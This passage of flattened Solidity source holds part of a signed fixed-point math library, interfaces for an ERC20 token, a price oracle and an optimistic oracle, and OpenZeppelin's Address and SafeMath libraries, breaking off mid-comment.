function isGreaterThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a < b`, or False.
*/
function isLessThan(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue < fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a < b`, or False.
*/
function isLessThan(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue < b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, Signed memory b) internal pure returns (bool) {
return a.rawValue <= b.rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(Signed memory a, int256 b) internal pure returns (bool) {
return a.rawValue <= fromUnscaledInt(b).rawValue;
}
/**
* @notice Whether `a` is less than or equal to `b`.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return True if `a <= b`, or False.
*/
function isLessThanOrEqual(int256 a, Signed memory b) internal pure returns (bool) {
return fromUnscaledInt(a).rawValue <= b.rawValue;
}
/**
* @notice The minimum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the minimum of `a` and `b`.
*/
function min(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue < b.rawValue ? a : b;
}
/**
* @notice The maximum of `a` and `b`.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the maximum of `a` and `b`.
*/
function max(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return a.rawValue > b.rawValue ? a : b;
}
/**
* @notice Adds two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.add(b.rawValue));
}
/**
* @notice Adds an `Signed` to an unscaled int, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the sum of `a` and `b`.
*/
function add(Signed memory a, int256 b) internal pure returns (Signed memory) {
return add(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts two `Signed`s, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
return Signed(a.rawValue.sub(b.rawValue));
}
/**
* @notice Subtracts an unscaled int256 from an `Signed`, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the difference of `a` and `b`.
*/
function sub(Signed memory a, int256 b) internal pure returns (Signed memory) {
return sub(a, fromUnscaledInt(b));
}
/**
* @notice Subtracts an `Signed` from an unscaled int256, reverting on overflow.
* @param a an int256.
* @param b a FixedPoint.Signed.
* @return the difference of `a` and `b`.
*/
function sub(int256 a, Signed memory b) internal pure returns (Signed memory) {
return sub(fromUnscaledInt(a), b);
}
/**
* @notice Multiplies two `Signed`s, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max output for the represented number is ~10^41, otherwise an intermediate value overflows. 10^41 is
// stored internally as an int256 ~10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 1.4 * 2e-18 = 2.8e-18, which
// would round to 3, but this computation produces the result 2.
// No need to use SafeMath because SFP_SCALING_FACTOR != 0.
return Signed(a.rawValue.mul(b.rawValue) / SFP_SCALING_FACTOR);
}
/**
* @notice Multiplies an `Signed` and an unscaled int256, reverting on overflow.
* @dev This will "floor" the product.
* @param a a FixedPoint.Signed.
* @param b an int256.
* @return the product of `a` and `b`.
*/
function mul(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.mul(b));
}
/**
* @notice Multiplies two `Signed`s and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 mulRaw = a.rawValue.mul(b.rawValue);
int256 mulTowardsZero = mulRaw / SFP_SCALING_FACTOR;
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = mulRaw % SFP_SCALING_FACTOR;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(mulTowardsZero.add(valueToAdd));
} else {
return Signed(mulTowardsZero);
}
}
/**
* @notice Multiplies an `Signed` and an unscaled int256 and "ceil's" the product, reverting on overflow.
* @param a a FixedPoint.Signed.
* @param b a FixedPoint.Signed.
* @return the product of `a` and `b`.
*/
function mulAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Since b is an int, there is no risk of truncation and we can just mul it normally
return Signed(a.rawValue.mul(b));
}
/**
* @notice Divides one `Signed` by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
// There are two caveats with this computation:
// 1. Max value for the number dividend `a` represents is ~10^41, otherwise an intermediate value overflows.
// 10^41 is stored internally as an int256 10^59.
// 2. Results that can't be represented exactly are truncated not rounded. E.g., 2 / 3 = 0.6 repeating, which
// would round to 0.666666666666666667, but this computation produces the result 0.666666666666666666.
return Signed(a.rawValue.mul(SFP_SCALING_FACTOR).div(b.rawValue));
}
/**
* @notice Divides one `Signed` by an unscaled int256, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(Signed memory a, int256 b) internal pure returns (Signed memory) {
return Signed(a.rawValue.div(b));
}
/**
* @notice Divides one unscaled int256 by an `Signed`, reverting on overflow or division by 0.
* @dev This will "floor" the quotient.
* @param a an int256 numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function div(int256 a, Signed memory b) internal pure returns (Signed memory) {
return div(fromUnscaledInt(a), b);
}
/**
* @notice Divides one `Signed` by an `Signed` and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b a FixedPoint denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, Signed memory b) internal pure returns (Signed memory) {
int256 aScaled = a.rawValue.mul(SFP_SCALING_FACTOR);
int256 divTowardsZero = aScaled.div(b.rawValue);
// Manual mod because SignedSafeMath doesn't support it.
int256 mod = aScaled % b.rawValue;
if (mod != 0) {
bool isResultPositive = isLessThan(a, 0) == isLessThan(b, 0);
int256 valueToAdd = isResultPositive ? int256(1) : int256(-1);
return Signed(divTowardsZero.add(valueToAdd));
} else {
return Signed(divTowardsZero);
}
}
/**
* @notice Divides one `Signed` by an unscaled int256 and "ceil's" the quotient, reverting on overflow or division by 0.
* @param a a FixedPoint numerator.
* @param b an int256 denominator.
* @return the quotient of `a` divided by `b`.
*/
function divAwayFromZero(Signed memory a, int256 b) internal pure returns (Signed memory) {
// Because it is possible that a quotient gets truncated, we can't just call "Signed(a.rawValue.div(b))"
// similarly to mulCeil with an int256 as the second parameter. Therefore we need to convert b into an Signed.
// This creates the possibility of overflow if b is very large.
return divAwayFromZero(a, fromUnscaledInt(b));
}
/**
* @notice Raises an `Signed` to the power of an unscaled uint256, reverting on overflow. E.g., `b=2` squares `a`.
* @dev This will "floor" the result.
* @param a a FixedPoint.Signed.
* @param b a uint256 (negative exponents are not allowed).
* @return output is `a` to the power of `b`.
*/
function pow(Signed memory a, uint256 b) internal pure returns (Signed memory output) {
output = fromUnscaledInt(1);
for (uint256 i = 0; i < b; i = i.add(1)) {
output = mul(output, a);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ERC20 interface that includes burn and mint methods.
*/
abstract contract ExpandedIERC20 is IERC20 {
/**
* @notice Burns a specific amount of the caller's tokens.
* @dev Only burns the caller's tokens, so it is safe to leave this method permissionless.
*/
function burn(uint256 value) external virtual;
/**
* @dev Burns `value` tokens owned by `recipient`.
* @param recipient address to burn tokens from.
* @param value amount of tokens to burn.
*/
function burnFrom(address recipient, uint256 value) external virtual returns (bool);
/**
* @notice Mints tokens and adds them to the balance of the `to` address.
* @dev This method should be permissioned to only allow designated parties to mint tokens.
*/
function mint(address to, uint256 value) external virtual returns (bool);
function addMinter(address account) external virtual;
function addBurner(address account) external virtual;
function resetOwner(address account) external virtual;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) public virtual;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) public view virtual returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) public view virtual returns (int256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
interface AddressWhitelistInterface {
function addToWhitelist(address newElement) external;
function removeFromWhitelist(address newElement) external virtual;
function isOnWhitelist(address newElement) external view virtual returns (bool);
function getWhitelist() external view virtual returns (address[] memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
abstract contract OptimisticOracleInterface {
// Struct representing the state of a price request.
enum State {
Invalid, // Never requested.
Requested, // Requested, no other actions taken.
Proposed, // Proposed, but not expired or disputed yet.
Expired, // Proposed, not disputed, past liveness.
Disputed, // Disputed, but no DVM price returned yet.
Resolved, // Disputed and DVM price is available.
Settled // Final price has been set in the contract (can get here from Expired or Resolved).
}
// Struct representing a price request.
struct Request {
address proposer; // Address of the proposer.
address disputer; // Address of the disputer.
IERC20 currency; // ERC20 token used to pay rewards and fees.
bool settled; // True if the request is settled.
bool refundOnDispute; // True if the requester should be refunded their reward on dispute.
int256 proposedPrice; // Price that the proposer submitted.
int256 resolvedPrice; // Price resolved once the request is settled.
uint256 expirationTime; // Time at which the request auto-settles without a dispute.
uint256 reward; // Amount of the currency to pay to the proposer on settlement.
uint256 finalFee; // Final fee to pay to the Store upon request to the DVM.
uint256 bond; // Bond that the proposer and disputer must pay on top of the final fee.
uint256 customLiveness; // Custom liveness value set by the requester.
}
// This value must be <= the Voting contract's `ancillaryBytesLimit` value otherwise it is possible
// that a price can be requested to this contract successfully, but cannot be disputed because the DVM refuses
// to accept a price request made with ancillary data length over a certain size.
uint256 public constant ancillaryBytesLimit = 8192;
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external virtual returns (uint256 totalBond);
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external virtual returns (uint256 totalBond);
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual;
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external virtual;
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public virtual returns (uint256 totalBond);
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external virtual returns (uint256 totalBond);
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was value (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public virtual returns (uint256 totalBond);
/**
* @notice Disputes a price value for an existing price request with an active proposal.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the disputer's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 totalBond);
/**
* @notice Retrieves a price that was previously requested by a caller. Reverts if the request is not settled
* or settleable. Note: this method is not view so that this call may actually settle the price request if it
* hasn't been settled.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return resolved price.
*/
function settleAndGetPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (int256);
/**
* @notice Attempts to settle an outstanding price request. Will revert if it isn't settleable.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return payout the amount that the "winner" (proposer or disputer) receives on settlement. This amount includes
* the returned bonds as well as additional rewards.
*/
function settle(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external virtual returns (uint256 payout);
/**
* @notice Gets the current data structure containing all information about a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the Request data structure.
*/
function getRequest(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (Request memory);
/**
* @notice Returns the state of a price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return the State enum value.
*/
function getState(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (State);
/**
* @notice Checks if a given request has resolved or been settled (i.e the optimistic oracle has a price).
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return true if price has resolved or settled, false otherwise.
*/
function hasPrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public view virtual returns (bool);
function stampAncillaryData(bytes memory ancillaryData, address requester)
public
view
virtual
returns (bytes memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
bytes32 public constant Bridge = "Bridge";
bytes32 public constant GenericHandler = "GenericHandler";
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
